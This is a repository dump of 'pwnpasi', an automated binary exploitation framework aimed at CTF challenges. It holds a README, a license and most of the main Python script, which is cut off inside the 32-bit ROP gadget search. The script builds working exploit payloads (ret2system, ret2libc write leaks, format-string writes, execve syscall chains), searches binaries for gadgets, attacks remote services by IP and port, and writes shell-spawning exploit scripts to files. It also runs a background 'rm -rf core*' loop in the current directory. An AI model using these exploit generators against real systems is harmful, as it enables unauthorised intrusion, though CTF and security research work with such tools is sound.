Full Code of heimao-box/pwnpasi for AI

main 5a36ce9c234d cached
10 files
159.9 KB
42.5k tokens
89 symbols
1 requests
Download .txt
Repository: heimao-box/pwnpasi
Branch: main
Commit: 5a36ce9c234d
Files: 10
Total size: 159.9 KB

Directory structure:
gitextract_20oez4rg/

├── Challenge/
│   ├── canary
│   ├── fmtstr1
│   ├── level3_x64
│   └── pie
├── LICENSE
├── README.md
├── level3_x64_wp(automatically_generating_reports).docx
├── pwnpasi.py
├── requirements.txt
└── setup.py

================================================
FILE CONTENTS
================================================

================================================
FILE: LICENSE
================================================
MIT License

Copyright (c) 2025 Ba1_Ma0

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


================================================
FILE: README.md
================================================
<div align="center">

# 🚀 PwnPasi 3.1

**Professional Automated Binary Exploitation Framework**

[![Version](https://img.shields.io/badge/version-3.0-blue.svg)](https://github.com/heimao-box/pwnpasi)
[![Python](https://img.shields.io/badge/python-3.6+-green.svg)](https://www.python.org/)
[![License](https://img.shields.io/badge/license-MIT-red.svg)](LICENSE)
[![Platform](https://img.shields.io/badge/platform-Linux%20%7C%20macOS-lightgrey.svg)](https://github.com/heimao-box/pwnpasi)


</div>

---

## 🎯 What is PwnPasi?

PwnPasi is a **cutting-edge automated binary exploitation framework** designed for CTF competitions and security research, PwnPasi transforms complex binary exploitation into an automated, streamlined process.

### ✨ Key Features

🔍 **Smart Vulnerability Detection**
- Automatic stack overflow detection with dynamic padding calculation
- Format string vulnerability identification and exploitation
- Binary protection analysis (RELRO, Stack Canary, NX, PIE)
- Assembly code analysis for vulnerable function detection
- Automatically generating reports

⚡ **Advanced Exploitation Techniques**
- **ret2system**: Direct system function calls
- **ret2libc**: ASLR bypass through libc address leaking
- **ROP Chain Construction**: Automated gadget discovery and chaining
- **Syscall Exploitation**: execve system call chains
- **Shellcode Injection**: RWX segment exploitation
- **Stack Canary Bypass**: Format string canary leaking
- **PIE Bypass**: Position Independent Executable circumvention

🏗️ **Multi-Architecture Support**
- **x86 (32-bit)**: Complete 32-bit exploitation chains
- **x86_64 (64-bit)**: Full 64-bit exploitation support
- **Auto-detection**: Intelligent architecture recognition

🌐 **Flexible Deployment**
- **Local Mode**: Direct binary file exploitation
- **Remote Mode**: Network service targeting
- **Hybrid Approach**: Seamless local-to-remote transition

---

## 🚀 Quick Start

### Installation

```bash
# Clone the repository
git clone https://github.com/heimao-box/pwnpasi.git
cd pwnpasi

# Run the automated setup
python setup.py
```

The setup script will automatically:
- Install system dependencies (Kali/Debian)
- Set up Python packages (pwntools, LibcSearcher, ropper)
- Configure the environment
- Add pwnpasi to system PATH (optional)

### Basic Usage

```bash
# Analyze local binary
python pwnpasi.py -l ./target_binary

# Remote exploitation
python pwnpasi.py -l ./binary -ip 192.168.1.100 -p 9999

# Custom libc and padding
python pwnpasi.py -l ./binary -libc ./libc-2.19.so -f 112
```

---

## 💡 Usage Examples

### 🎪 Local Binary Analysis
```bash
# Comprehensive local analysis
python pwnpasi.py -l ./vuln_binary
```

### 🌍 Remote Service Exploitation
```bash
# Target remote CTF service
python pwnpasi.py -l ./local_binary -ip ctf.example.com -p 31337
```

### 🔧 Advanced Configuration
```bash
# Specify custom libc and manual padding
python pwnpasi.py -l ./binary -libc /lib/x86_64-linux-gnu/libc.so.6 -f 88 -v
```

---

## 📋 Command Line Options

| Option | Description | Example |
|--------|-------------|----------|
| `-l, --local` | Target binary file (required) | `-l ./vuln_app` |
| `-ip, --ip` | Remote target IP address | `-ip 192.168.1.100` |
| `-p, --port` | Remote target port | `-p 9999` |
| `-libc, --libc` | Custom libc file path | `-libc ./libc-2.27.so` |
| `-f, --fill` | Manual overflow padding size | `-f 112` |
| `-v, --verbose` | Enable verbose output | `-v` |

---

## 🛠️ Technical Arsenal

### Core Dependencies
- **pwntools** - The ultimate CTF framework
- **LibcSearcher** - Libc database and version detection
- **ropper** - Advanced ROP gadget discovery
- **checksec** - Binary security feature analysis

### System Tools Integration
- **objdump** - Assembly analysis and disassembly
- **strings** - String extraction and analysis
- **ldd** - Dynamic library dependency mapping
- **gdb** - Advanced debugging capabilities

---

## 🎨 Output Preview



https://github.com/user-attachments/assets/1395d646-eeeb-4342-8b93-e05eed282b92



---

## 🏆 Why Choose PwnPasi?

### 🎯 **Precision & Automation**
No more manual gadget hunting or address calculation. PwnPasi automates the entire exploitation pipeline with surgical precision.

### 🚀 **Speed & Efficiency**
From vulnerability detection to shell acquisition in seconds, not hours. Perfect for time-critical CTF scenarios.

### 🧠 **Intelligence & Adaptability**
Smart fallback mechanisms ensure maximum success rate across different binary configurations and protection schemes.

---

## 🤝 Contributing

We welcome contributions! Whether it's:
- 🐛 Bug reports and fixes
- ✨ New exploitation techniques
- 📚 Documentation improvements
- 🔧 Performance optimizations

---

## 📜 License

This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.

---

## ⚠️ Disclaimer

PwnPasi is designed for **educational purposes** and **authorized security testing** only. Users are responsible for ensuring compliance with applicable laws and regulations. The developers assume no liability for misuse of this tool.

---

<div align="center">

**Made with ❤️ by Ba1_Ma0**

*Star ⭐ this repo if PwnPasi helped you pwn some binaries!*

</div>


================================================
FILE: pwnpasi.py
================================================
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pwn import *
from LibcSearcher import *
import argparse
import sys
import os
import re
import subprocess
import time
import datetime
import threading
from elftools.elf.elffile import ELFFile
from elftools.elf.sections import SymbolTableSection
from docx import Document
from docx.shared import Inches
from docx.enum.text import WD_ALIGN_PARAGRAPH

# Disable core dump files (Unix/Linux only)
try:
    import resource
    resource.setrlimit(resource.RLIMIT_CORE, (0, 0))
except:
    pass

# Configure pwntools to prevent core dumps
context.log_level = 'error'
context.terminal = ['bash', '-c']
try:
    # Additional core dump prevention
    os.system('ulimit -c 0 2>/dev/null || true')
except:
    pass

# Core file cleanup thread
def cleanup_core_files():
    """Background thread to continuously remove core files"""
    while True:
        try:
            # Remove core files in current directory
            os.system('rm -rf core* 2>/dev/null || del core* 2>nul || true')
            time.sleep(1)  # Check every second
        except:
            pass

# Start core cleanup thread
cleanup_thread = threading.Thread(target=cleanup_core_files, daemon=True)
cleanup_thread.start()

# Global configuration
VERSION = "3.1"
AUTHOR = "Security Research Team"
GITHUB = "https://github.com/heimao-box/pwnpasi"

# Global variables for exploit information
exploit_info = {
    'target_binary': '',
    'exploit_type': '',
    'payload': '',
    'padding': 0,
    'addresses': {},
    'vulnerability_type': '',
    'architecture': '',
    'success': False,
    'timestamp': ''
}

# Color schemes (similar to sqlmap)
class Colors:
    HEADER = '\033[95m'
    BLUE = '\033[94m'
    CYAN = '\033[96m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    RED = '\033[91m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'
    END = '\033[0m'
    
    # Sqlmap-style colors
    INFO = '\033[1;34m'     # Blue bold
    SUCCESS = '\033[1;32m'  # Green bold
    WARNING = '\033[1;33m'  # Yellow bold
    ERROR = '\033[1;31m'    # Red bold
    CRITICAL = '\033[1;35m' # Magenta bold
    PAYLOAD = '\033[1;36m'  # Cyan bold

def print_banner():
    banner = f"""
{Colors.BOLD}{Colors.BLUE}
        ____                 ____            _ 
       |  _ \ __      ___ _|  _ \ __ _ ___(_)
       | |_) |\ \ /\ / / '_ \ |_) / _` / __| |
       |  __/  \ V  V /| | | |  __/ (_| \__ \ |
       |_|      \_/\_/ |_| |_|_|   \__,_|___/_|
{Colors.END}
{Colors.BOLD}    Automated Binary Exploitation Framework v{VERSION}{Colors.END}
{Colors.CYAN}    by {AUTHOR}{Colors.END}
{Colors.UNDERLINE}    {GITHUB}{Colors.END}
"""
    print(banner)

def print_info(message, prefix="[*]"):
    """Print info message with sqlmap-style formatting"""
    timestamp = datetime.datetime.now().strftime("%H:%M:%S")
    print(f"{Colors.INFO}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}")

def print_success(message, prefix="[+]"):
    """Print success message"""
    timestamp = datetime.datetime.now().strftime("%H:%M:%S")
    print(f"{Colors.SUCCESS}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}")

def print_warning(message, prefix="[!]"):
    """Print warning message"""
    timestamp = datetime.datetime.now().strftime("%H:%M:%S")
    print(f"{Colors.WARNING}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}")

def print_error(message, prefix="[-]"):
    """Print error message"""
    timestamp = datetime.datetime.now().strftime("%H:%M:%S")
    print(f"{Colors.ERROR}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}")

def print_critical(message, prefix="[CRITICAL]"):
    """Print critical message"""
    timestamp = datetime.datetime.now().strftime("%H:%M:%S")
    print(f"{Colors.CRITICAL}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}")

def print_payload(message, prefix="[PAYLOAD]"):
    """Print payload information"""
    timestamp = datetime.datetime.now().strftime("%H:%M:%S")
    print(f"{Colors.PAYLOAD}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}")

def print_section_header(title):
    """Print section header with decorative lines"""
    line = "─" * 60
    print(f"\n{Colors.BOLD}{Colors.BLUE}┌{line}┐{Colors.END}")
    print(f"{Colors.BOLD}{Colors.BLUE}│{Colors.END} {Colors.BOLD}{title.center(58)}{Colors.END} {Colors.BOLD}{Colors.BLUE}│{Colors.END}")
    print(f"{Colors.BOLD}{Colors.BLUE}└{line}┘{Colors.END}")

def print_progress(current, total, task_name):
    """Print progress bar similar to sqlmap"""
    percentage = int((current / total) * 100)
    bar_length = 30
    filled_length = int(bar_length * current // total)
    bar = '█' * filled_length + '░' * (bar_length - filled_length)
    print(f"\r{Colors.INFO}[*]{Colors.END} {task_name}: {Colors.CYAN}[{bar}]{Colors.END} {percentage}%", end='', flush=True)
    if current == total:
        print_info("")  # New line when complete

def print_table_header(headers):
    """Print table header"""
    header_line = " | ".join([f"{h:^15}" for h in headers])
    separator = "-" * len(header_line)
    print(f"{Colors.BOLD}{header_line}{Colors.END}")
    print(separator)

def print_table_row(values, colors=None):
    """Print table row with optional colors"""
    if colors is None:
        colors = [Colors.END] * len(values)
    
    formatted_values = []
    for i, (value, color) in enumerate(zip(values, colors)):
        formatted_values.append(f"{color}{str(value):^15}{Colors.END}")
    
    row_line = " | ".join(formatted_values)
    print(row_line)

def update_exploit_info(key, value):
    """Update global exploit information"""
    global exploit_info
    exploit_info[key] = value

def generate_exploitation_code():
    """Generate complete exploitation code based on exploit type and information"""
    global exploit_info
    
    # Extract target binary name
    target_name = os.path.basename(exploit_info['target_binary'])
    if target_name.startswith('./'):
        target_name = target_name[2:]
    
    # Base template for exploitation code
    base_code = f"""#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# PWN Exploitation Script
# Target: {exploit_info['target_binary']}
# Exploit Type: {exploit_info['exploit_type']}
# Architecture: {exploit_info['architecture']}
# Vulnerability: {exploit_info['vulnerability_type']}

from pwn import *

# Target configuration
target = '{target_name}'
context.arch = '{exploit_info['architecture']}'
context.log_level = 'debug'

# Connect to target
io = process(target)
# For remote: io = remote('host', port)

"""
    
    # Add addresses information as variables
    if exploit_info['addresses']:
        base_code += "# Key addresses\n"
        for addr_type, addr_value in exploit_info['addresses'].items():
            if isinstance(addr_value, int):
                base_code += f"{addr_type} = 0x{addr_value:x}\n"
            elif isinstance(addr_value, str) and addr_value.startswith('0x'):
                base_code += f"{addr_type} = {addr_value}\n"
            else:
                try:
                    base_code += f"{addr_type} = 0x{int(str(addr_value)):x}\n"
                except:
                    base_code += f"{addr_type} = {repr(addr_value)}\n"
        base_code += "\n"
    
    # Add payload construction based on exploit type
    exploit_type = exploit_info['exploit_type'].lower()
    
    if 'ret2system' in exploit_type:
        if 'x64' in exploit_type:
            base_code += f"""# Construct payload for ret2system x64
padding = b'A' * {exploit_info['padding']}
payload = padding
payload += p64(pop_rdi_addr)  # pop rdi; ret
payload += p64(bin_sh_addr)   # "/bin/sh" address
payload += p64(ret_addr)      # ret gadget for stack alignment
payload += p64(system_addr)   # system() address
"""
        else:
            base_code += f"""# Construct payload for ret2system x32
padding = b'A' * {exploit_info['padding']}
payload = padding
payload += p32(system_addr)   # system() address
payload += p32(0x0)           # return address (dummy)
payload += p32(bin_sh_addr)   # "/bin/sh" address
"""
    
    elif 'ret2libc' in exploit_type and 'write' in exploit_type:
        if 'x64' in exploit_type:
            base_code += f"""# Construct payload for ret2libc write x64
padding = b'A' * {exploit_info['padding']}
payload = padding
payload += p64(pop_rdi_addr)  # pop rdi; ret
payload += p64(1)             # stdout fd
payload += p64(pop_rsi_addr)  # pop rsi; ret  
payload += p64(write_got)     # write@got address
payload += p64(ret_addr)      # ret gadget
payload += p64(write_plt)     # write@plt
payload += p64(main_addr)     # return to main for second stage
"""
        else:
            base_code += f"""# Construct payload for ret2libc write x32
padding = b'A' * {exploit_info['padding']}
payload = padding
payload += p32(write_plt)     # write@plt
payload += p32(main_addr)     # return to main
payload += p32(1)             # stdout fd
payload += p32(write_got)     # write@got address
payload += p32(4)             # bytes to write
"""
    
    elif 'format string' in exploit_type:
        base_code += f"""# Format string exploitation
offset = {exploit_info.get('offset', 'OFFSET_VALUE')}
buf_addr = {exploit_info['addresses'].get('buf_addr', 'BUF_ADDRESS')}
system_addr = {exploit_info['addresses'].get('system_addr', 'SYSTEM_ADDRESS')}

# Construct format string payload
payload = fmtstr_payload(offset, {{buf_addr: system_addr}})
"""
    
    elif 'execve syscall' in exploit_type:
        base_code += f"""# Construct payload for execve syscall
padding = b'A' * {exploit_info['padding']}
payload = padding
payload += p32(pop_eax_addr)  # pop eax; ret
payload += p32(0xb)           # execve syscall number
payload += p32(pop_ebx_addr)  # pop ebx; ret
payload += p32(bin_sh_addr)   # "/bin/sh" address
payload += p32(pop_ecx_addr)  # pop ecx; ret
payload += p32(0x0)           # argv = NULL
payload += p32(pop_edx_addr)  # pop edx; ret
payload += p32(0x0)           # envp = NULL
payload += p32(int_0x80)      # int 0x80
"""
    
    else:
        # Generic payload construction
        base_code += f"""# Construct payload
padding = b'A' * {exploit_info['padding']}
payload = padding
payload += {repr(exploit_info['payload']) if isinstance(exploit_info['payload'], bytes) else repr(str(exploit_info['payload']))}
"""
    
    # Add exploitation execution
    base_code += f"""
# Send payload
io.sendline(payload)

# Get shell
io.interactive()
"""
    
    return base_code

def generate_docx_report():
    """Generate DOCX exploitation report"""
    global exploit_info
    
    if not exploit_info['success']:
        return
    
    try:
        # Extract target binary name without path and extension
        target_name = os.path.basename(exploit_info['target_binary'])
        if target_name.startswith('./'):
            target_name = target_name[2:]
        target_name = os.path.splitext(target_name)[0]
        
        # Generate report filename
        report_filename = f"{target_name}_wp.docx"
        
        # Create document
        doc = Document()
        
        # Add title
        title = doc.add_heading('PWN Exploitation Report', 0)
        title.alignment = WD_ALIGN_PARAGRAPH.CENTER
        
        # Add basic information
        doc.add_heading('Basic Information', level=1)
        basic_info = doc.add_paragraph()
        basic_info.add_run('Target Binary: ').bold = True
        basic_info.add_run(f"{exploit_info['target_binary']}\n")
        basic_info.add_run('Exploitation Time: ').bold = True
        basic_info.add_run(f"{exploit_info['timestamp']}\n")
        basic_info.add_run('Architecture: ').bold = True
        basic_info.add_run(f"{exploit_info['architecture']}\n")
        basic_info.add_run('Vulnerability Type: ').bold = True
        basic_info.add_run(f"{exploit_info['vulnerability_type']}\n")
        basic_info.add_run('Exploitation Method: ').bold = True
        basic_info.add_run(f"{exploit_info['exploit_type']}\n")
        
        # Add padding information
        doc.add_heading('Buffer Overflow Information', level=1)
        padding_info = doc.add_paragraph()
        padding_info.add_run('Buffer Overflow Padding: ').bold = True
        padding_info.add_run(f"{exploit_info['padding']} bytes\n")
        
        # Add addresses information
        if exploit_info['addresses']:
            doc.add_heading('Key Address Information', level=1)
            addr_table = doc.add_table(rows=1, cols=2)
            addr_table.style = 'Table Grid'
            hdr_cells = addr_table.rows[0].cells
            hdr_cells[0].text = 'Address Type'
            hdr_cells[1].text = 'Address Value'
            
            for addr_type, addr_value in exploit_info['addresses'].items():
                row_cells = addr_table.add_row().cells
                row_cells[0].text = addr_type
                # Convert address to hexadecimal format
                if isinstance(addr_value, int):
                    row_cells[1].text = f"0x{addr_value:x}"
                elif isinstance(addr_value, str) and addr_value.isdigit():
                    row_cells[1].text = f"0x{int(addr_value):x}"
                elif isinstance(addr_value, str) and addr_value.startswith('0x'):
                    row_cells[1].text = addr_value
                else:
                    # Try to convert string representation of number to hex
                    try:
                        if 'x' in str(addr_value):
                            row_cells[1].text = str(addr_value)
                        else:
                            row_cells[1].text = f"0x{int(str(addr_value)):x}"
                    except:
                        row_cells[1].text = str(addr_value)
        
        # Add exploitation code information
        if exploit_info['payload']:
            doc.add_heading('Exploitation Code', level=1)
            payload_para = doc.add_paragraph()
            payload_para.add_run('Complete Python Exploitation Code:\n').bold = True
            
            # Generate complete exploitation code based on exploit type
            exploitation_code = generate_exploitation_code()
            
            # Add the exploitation code as code block
            payload_para.add_run(f"{exploitation_code}\n")
            
            # Add payload length
            payload_para.add_run('Payload Length: ').bold = True
            if isinstance(exploit_info['payload'], bytes):
                payload_para.add_run(f"{len(exploit_info['payload'])} bytes\n")
            else:
                payload_para.add_run(f"{len(str(exploit_info['payload']))} characters\n")
        
        # Add exploitation summary
        doc.add_heading('Exploitation Summary', level=1)
        summary_para = doc.add_paragraph()
        summary_para.add_run('Exploitation Status: ').bold = True
        summary_para.add_run('Successful\n')
        summary_para.add_run('Exploitation Method: ').bold = True
        summary_para.add_run(f"Successfully gained shell access through {exploit_info['vulnerability_type']} vulnerability using {exploit_info['exploit_type']} technique.\n")
        
        # Add footer
        doc.add_paragraph('\n' + '─' * 50)
        footer_para = doc.add_paragraph()
        footer_para.add_run('Report Generation Tool: ').bold = True
        footer_para.add_run(f"PwnPasi v{VERSION}\n")
        footer_para.add_run('Generation Time: ').bold = True
        footer_para.add_run(f"{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
        
        # Save document
        doc.save(report_filename)
        print_success(f"Exploitation report generated: {Colors.YELLOW}{report_filename}{Colors.END}")
        
    except Exception as e:
        print_error(f"Failed to generate report: {e}")

def handle_exploitation_success(exploit_type, payload, padding, addresses, vulnerability_type, architecture):
    """Handle successful exploitation by updating info and generating report"""
    update_exploit_info('exploit_type', exploit_type)
    update_exploit_info('payload', payload.hex() if hasattr(payload, 'hex') else str(payload))
    update_exploit_info('padding', padding)
    update_exploit_info('addresses', addresses)
    update_exploit_info('vulnerability_type', vulnerability_type)
    update_exploit_info('architecture', architecture)
    update_exploit_info('success', True)
    
    print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
    
    # Generate DOCX report
    generate_docx_report()

def set_permission(program):
    """Set executable permissions for the program"""
    try:
        os.system(f"chmod +755 {program}")
        return True
    except Exception as e:
        print_error(f"Failed to set permissions: {e}")
        return False

def add_current_directory_prefix(program):
    """Add ./ prefix if not present"""
    if not program.startswith('./'):
        program = os.path.join('.', program)
    return program

def detect_libc(program):
    """Detect libc path automatically"""
    print_info("detecting libc path automatically")
    libc_path = None
    
    try:
        os.system(f"ldd {program} | awk '{{$1=$1; print}}' > libc_path.txt")
        
        with open("libc_path.txt", "r") as file:
            for line in file:
                if 'libc.so.6' in line:
                    parts = line.split('=>')
                    if len(parts) > 1:
                        libc_path = parts[1].strip().split()[0]
                        print_success(f"libc path detected: {Colors.YELLOW}{libc_path}{Colors.END}")
                        break
        
        if not libc_path:
            print_warning("libc path not found in ldd output")
            
    except Exception as e:
        print_error(f"failed to detect libc: {e}")
    
    return libc_path

def ldd_libc(program):
    """Automatically detect libc path using ldd command"""
    libc_path = None
    
    try:
        # Use ldd to get library information
        result = subprocess.run(['ldd', program], capture_output=True, text=True)
        if result.returncode == 0:
            for line in result.stdout.split('\n'):
                if 'libc.so.6' in line:
                    parts = line.split('=>')
                    if len(parts) > 1:
                        libc_path = parts[1].strip().split()[0]
                        print_info(f"automatically detected libc: {Colors.YELLOW}{libc_path}{Colors.END}")
                        break
        
        if not libc_path:
            print_warning("libc path not found automatically")
            
    except Exception as e:
        print_error(f"failed to detect libc: {e}")
    
    return libc_path

def Information_Collection(program):
    """Collect binary information using checksec"""
    try:
        # Run checksec command
        result = subprocess.run(['checksec', program], capture_output=True, text=True)
        content = result.stdout
        
        info_dict = {}
        
        # Parse architecture
        arch_match = re.search(r"Arch:\s+(\S+)", content)
        if arch_match:
            arch = arch_match.group(1)
            if '64' in arch:
                info_dict['bit'] = 64
                bit = 64
            elif '32' in arch:
                info_dict['bit'] = 32
                bit = 32
        
        # Parse security features
        keys = ['RELRO', 'Stack', 'NX', 'PIE', 'Stripped', 'RWX']
        for key in keys:
            if key in content:
                for line in content.split('\n'):
                    if key in line and ':' in line:
                        info_dict[key] = line.split(":")[1].strip()
                        break
        
        # Determine stack protection
        stack = 0
        if 'Stack' in info_dict:
            if info_dict['Stack'] == 'No canary found':
                stack = 0
            elif info_dict['Stack'] == 'Canary found':
                stack = 1
            elif info_dict['Stack'] == 'Executable':
                stack = 2
        
        # Determine RWX segments
        rwx = 0
        if 'RWX' in info_dict:
            if info_dict['RWX'] == 'Has RWX segments':
                rwx = 1
        
        # Determine PIE
        pie = None
        if 'PIE' in info_dict:
            if info_dict['PIE'] == 'PIE enabled':
                pie = 1
        
        # Display information
        for key, value in info_dict.items():
            print_info(f"{key}: {Colors.YELLOW}{value}{Colors.END}")
        
        return stack, rwx, bit, pie
        
    except Exception as e:
        print_error(f"failed to collect binary information: {e}")
        return 0, 0, 32, None

def collect_binary_info(program):
    """Collect comprehensive binary information"""
    print_info("collecting binary information")
    
    try:
        os.system(f"checksec {program} > Information_Collection.txt 2>&1")
        
        with open("Information_Collection.txt", 'r') as f:
            content = f.readlines()
        
        result = {}
        
        # Parse architecture
        arch_match = re.search(r"Arch:\s+(\S+)", "".join(content))
        if arch_match:
            arch = arch_match.group(1)
            result['arch'] = arch
            if '64' in arch:
                result['bit'] = 64
            elif '32' in arch:
                result['bit'] = 32
        
        # Parse security features
        security_features = ['RELRO', 'Stack', 'NX', 'PIE', 'Stripped', 'RWX']
        for feature in security_features:
            for line in content:
                if feature in line:
                    result[feature] = line.split(":")[1].strip()
                    break
        
        # Process stack canary
        stack_protection = 0
        if 'Stack' in result:
            if result['Stack'] == 'No canary found':
                stack_protection = 0
            elif result['Stack'] == 'Canary found':
                stack_protection = 1
        
        # Process RWX segments
        rwx_segments = 0
        if 'RWX' in result:
            if result['RWX'] == 'Has RWX segments':
                rwx_segments = 1
        
        # Process PIE
        pie_enabled = 0
        if 'PIE' in result:
            if result['PIE'] == 'PIE enabled':
                pie_enabled = 1
        
        return result, stack_protection, rwx_segments, result.get('bit', 64), pie_enabled
        
    except Exception as e:
        print_error(f"failed to collect binary information: {e}")
        return {}, 0, 0, 64, 0

def display_binary_info(info_dict):
    """Display binary information in a professional table format"""
    print_section_header("BINARY SECURITY ANALYSIS")
    
    # Create table for security features
    headers = ["Feature", "Status", "Risk Level"]
    print_table_header(headers)
    
    risk_colors = {
        "HIGH": Colors.ERROR,
        "MEDIUM": Colors.WARNING, 
        "LOW": Colors.SUCCESS,
        "INFO": Colors.INFO
    }
    
    security_analysis = {
        "RELRO": ("MEDIUM" if "Partial" in info_dict.get("RELRO", "") else "LOW", info_dict.get("RELRO", "Unknown")),
        "Stack Canary": ("HIGH" if "No canary" in info_dict.get("Stack", "") else "LOW", info_dict.get("Stack", "Unknown")),
        "NX Bit": ("HIGH" if "disabled" in info_dict.get("NX", "") else "LOW", info_dict.get("NX", "Unknown")),
        "PIE": ("MEDIUM" if "No PIE" in info_dict.get("PIE", "") else "LOW", info_dict.get("PIE", "Unknown")),
        "RWX Segments": ("HIGH" if "Has RWX" in info_dict.get("RWX", "") else "LOW", info_dict.get("RWX", "Unknown"))
    }
    
    for feature, (risk, status) in security_analysis.items():
        colors = [Colors.END, Colors.END, risk_colors.get(risk, Colors.END)]
        print_table_row([feature, status, risk], colors)
    
    print()

def find_large_bss_symbols(program):
    """Find large BSS symbols suitable for shellcode storage"""
    print_info("searching for shellcode storage locations")
    
    try:
        with open(program, 'rb') as f:
            elf = ELFFile(f)
            symtab = elf.get_section_by_name('.symtab')
            
            if not symtab:
                print_warning("no symbol table found")
                return 0, None, None
            
            for symbol in symtab.iter_symbols():
                if (symbol['st_info'].type == 'STT_OBJECT' and symbol['st_size'] > 30):
                    print_success(f"shellcode storage found: {Colors.YELLOW}{symbol.name}{Colors.END} at {Colors.YELLOW}{hex(symbol['st_value'])}{Colors.END}")
                    return 1, hex(symbol['st_value']), symbol.name
            
            print_warning("no suitable shellcode storage locations found")
            return 0, None, None
            
    except Exception as e:
        print_error(f"failed to analyze symbols: {e}")
        return 0, None, None

def scan_plt_functions(program):
    """Scan and analyze PLT functions"""
    print_info("analyzing PLT table and available functions")
    
    try:
        os.system(f"objdump -d {program} > Objdump_Scan.txt 2>&1")
        target_functions = ["write", "puts", "printf", "main", "system", "backdoor", "callsystem"]
        function_addresses = {}
        found_functions = []
        
        with open("Objdump_Scan.txt", "r") as file:
            lines = file.readlines()
        
        print_section_header("FUNCTION ANALYSIS")
        headers = ["Function", "Address", "Available"]
        print_table_header(headers)
        
        for func in target_functions:
            found = False
            address = "N/A"
            
            for line in lines:
                if f"<{func}@plt>:" in line or f"<{func}>:" in line:
                    address = line.split()[0].strip(":")
                    function_addresses[func] = address
                    found_functions.append(func)
                    found = True
                    break
            
            status = "YES" if found else "NO"
            color = Colors.SUCCESS if found else Colors.ERROR
            colors = [Colors.END, Colors.YELLOW if found else Colors.END, color]
            print_table_row([func, address, status], colors)
        
        print_info("")
        return function_addresses
        
    except Exception as e:
        print_error(f"failed to scan PLT functions: {e}")
        return {}

def set_function_flags(function_addresses):
    """Set function availability flags"""
    target_functions = ["write", "puts", "printf", "main", "system", "backdoor", "callsystem"]
    function_flags = {func: (1 if func in function_addresses else 0) for func in target_functions}
    return function_flags

def find_rop_gadgets_x64(program):
    """Find ROP gadgets for x64 architecture"""
    print_info("searching for ROP gadgets (x64)")
    
    gadgets = {
        'pop_rdi': None,
        'pop_rsi': None, 
        'ret': None,
        'other_rdi_registers': None,
        'other_rsi_registers': None
    }
    
    try:
        # Search for pop rdi gadgets
        os.system(f"ropper --file {program} --search 'pop rdi' > ropper.txt --nocolor 2>&1")
        os.system(f"ropper --file {program} --search 'pop rsi' >> ropper.txt --nocolor 2>&1")
        os.system(f"ropper --file {program} --search 'ret' >> ropper.txt --nocolor 2>&1")
        
        with open("ropper.txt", "r") as file:
            lines = file.readlines()
        
        print_section_header("ROP GADGETS (x64)")
        headers = ["Gadget Type", "Address", "Instruction"]
        print_table_header(headers)
        
        for line in lines:
            if '[INFO]' in line:
                continue
                
            if "pop rdi;" in line and "pop rdi; pop" in line:
                gadgets['pop_rdi'] = line.split(":")[0].strip()
                gadgets['other_rdi_registers'] = 1
                print_table_row(["pop rdi (multi)", gadgets['pop_rdi'], "pop rdi; pop ...; ret"], [Colors.END, Colors.YELLOW, Colors.END])
                
            elif "pop rdi; ret;" in line:
                gadgets['pop_rdi'] = line.split(":")[0].strip()
                gadgets['other_rdi_registers'] = 0
                print_table_row(["pop rdi", gadgets['pop_rdi'], "pop rdi; ret"], [Colors.END, Colors.YELLOW, Colors.END])
                
            elif "pop rsi;" in line and "pop rsi; pop" in line:
                gadgets['pop_rsi'] = line.split(":")[0].strip()
                gadgets['other_rsi_registers'] = 1
                print_table_row(["pop rsi (multi)", gadgets['pop_rsi'], "pop rsi; pop ...; ret"], [Colors.END, Colors.YELLOW, Colors.END])
                
            elif "pop rsi; ret;" in line:
                gadgets['pop_rsi'] = line.split(":")[0].strip()
                gadgets['other_rsi_registers'] = 0
                print_table_row(["pop rsi", gadgets['pop_rsi'], "pop rsi; ret"], [Colors.END, Colors.YELLOW, Colors.END])
                
            elif "ret" in line and "ret " not in line:
                gadgets['ret'] = line.split(":")[0].strip()
                print_table_row(["ret", gadgets['ret'], "ret"], [Colors.END, Colors.YELLOW, Colors.END])
        
        print_info("")
        return gadgets['pop_rdi'], gadgets['pop_rsi'], gadgets['ret'], gadgets['other_rdi_registers'], gadgets['other_rsi_registers']
        
    except Exception as e:
        print_error(f"failed to find ROP gadgets: {e}")
        return None, None, None, None, None

def find_rop_gadgets_x32(program):
    """Find ROP gadgets for x32 architecture"""
    print_info("searching for ROP gadgets (x32)")
    
    gadgets = {
        'pop_eax': None, 'pop_ebx': None, 'pop_ecx': None, 'pop_edx': None,
        'pop_ecx_ebx': None, 'ret': None, 'int_0x80': None
    }
    
    registers_found = {'eax': 0, 'ebx': 0, 'ecx': 0, 'edx': 0}
    
    try:
        print_section_header("ROP GADGETS (x32)")
        headers = ["Gadget Type", "Address", "Status"]
        print_table_header(headers)
        
        # Search for each register gadget
